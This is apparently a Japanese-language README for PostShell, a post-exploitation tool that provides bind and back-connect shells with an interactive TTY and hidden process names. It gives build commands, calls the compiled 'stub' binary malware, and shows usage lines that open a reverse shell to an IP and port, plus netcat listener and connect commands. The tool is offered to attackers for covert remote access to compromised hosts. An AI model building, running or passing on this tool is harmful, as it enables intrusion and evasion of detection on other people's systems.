
PostShell - ポストエクスプロイテーション バインド/バックコネクトシェル
PostShellは、バインドシェルとバックコネクトシェルの両方を含むポストエクスプロイテーションシェルです。完全に対話型のTTYを作成し、ジョブ制御を可能にします。スタブサイズは約14kbで、任意のUnix系システムでコンパイルできます。
接続開始後のバナーとシェルとの対話。
PostShellは、攻撃者がPythonやPerlなどの依存関係に依存しにくくすることで、ポストエクスプロイテーションを容易にします。また、バックコネクトシェルとバインドシェルの両方を組み込んでいるため、ターゲットが発信接続を許可していない場合、オペレーターは単にバインドシェルを起動してリモートでマシンに接続できます。PostShellは、プロセス名と引数の両方が隠蔽されているため、従来のシェルよりも大幅に疑われにくくなっています。
git clone https://github.com/rek7/postshellcd postshell && sh compile.sh
これにより、"stub"というバイナリが作成されます。これがマルウェアです。$ ./stub
Bind Shell Usage: ./stub port
Back Connect Usage: ./stub ip port
$
バックコネクト:
$ ./stub 127.0.0.1 13377
バインドシェル:
$ ./stub 13377
バックコネクトの受信:
$ nc -vlp port
バインドシェルへの接続:
$ nc host port